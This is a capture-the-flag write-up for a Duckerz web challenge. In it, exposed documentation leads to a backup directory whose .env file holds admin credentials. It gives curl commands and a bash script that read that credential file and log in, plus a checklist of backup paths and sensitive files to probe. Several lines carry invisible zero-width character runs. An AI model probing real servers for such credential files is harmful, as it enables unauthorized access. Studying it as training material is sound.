Скрытая документация (Hidden Documentation)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: backup_file_discovery, credential_extraction, documentation_enumeration

Summary

Task: Flask/Werkzeug app with DocBoard panel. Solution: Found backup directory path in documentation, extracted credentials from exposed .env file, authenticated to get flag.

Скрытая документация (Hidden Documentation) — Duckerz CTF

Description

Хорошая документация – залог понятного и безопасного кода (Good documentation is the key to understandable and secure code)

URL: http://tasks.duckerz.ru:30065

Analysis

Step 1: Reconnaissance

When accessing the server, a Flask/Werkzeug application was discovered:

Server: Werkzeug/3.1.4 Python/3.11.14

The main page presents "DocBoard" - an internal documentation panel.

Discovered endpoints:

• /auth/ - authorization page
• /docs/ - documentation section ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Documentation Investigation

The /docs/ endpoint contains a list of available documentation files.

Found file /docs/documentation.md with detailed project documentation.

Key finding in section 3.4 "Login Data":

В структуре проекта предусмотрен путь с резервными данными, через который можно восстановить единственные валидные креды: Каталог admin_backup_2024/ содержит файл .env с переменными окружения (ADMIN_LOGIN, ADMIN_PASSWORD)

Step 3: Credential Extraction

Direct access to /admin_backup_2024/.env: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -s http://tasks.duckerz.ru:30065/admin_backup_2024/.env

File contents:

HOST=localhost
USER=admin
SERVICE=prod
ADMIN_LOGIN=admin
ADMIN_PASSWORD=adminsecret

Step 4: Authentication

 bash read-only • copy allowed Copy
curl -s -X POST http://tasks.duckerz.ru:30065/auth/ \
  -d "login=admin&password=adminsecret"

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# Hidden Documentation - Duckerz CTF

TARGET="http://tasks.duckerz.ru:30065"

# 1. Check documentation
echo "[*] Checking documentation..."
curl -s "$TARGET/docs/"

# 2. Read main documentation file
echo "[*] Reading documentation.md..."
curl -s "$TARGET/docs/documentation.md"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. Extract credentials from backup
echo "[*] Extracting credentials from backup..."
curl -s "$TARGET/admin_backup_2024/.env"

# 4. Authenticate
echo "[*] Authenticating..."
curl -s -X POST "$TARGET/auth/" \
  -d "login=admin&password=adminsecret"

Checklist for Similar Tasks

1. Documentation endpoints:

   • /docs/, /api-docs/, /swagger/, /redoc/
   • /documentation/, /help/, /readme/

2. Backup directories:

   • *_backup*/, *_bak/, *.old/
   • admin_backup_YYYY/, backup_YYYY-MM-DD/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Sensitive files:

   • .env, .env.local, .env.production
   • config.json, settings.py, credentials.*

4. Documentation analysis:

   • Paths to files and directories
   • Credential mentions
   • Project structure
   • Developer comments

Lessons

1. Documentation can be a vulnerability - it often contains information about project structure, file paths, and even credentials
2. Backup directories - classic source of sensitive data leaks
3. .env files - should never be accessible via web
4. Task name - direct hint to look for documentation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Related Vulnerabilities

• CWE-200: Exposure of Sensitive Information
• CWE-530: Exposure of Backup File to an Unauthorized Control Sphere
• CWE-538: Insertion of Sensitive Information into Externally-Accessible File
• OWASP: Security Misconfiguration ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍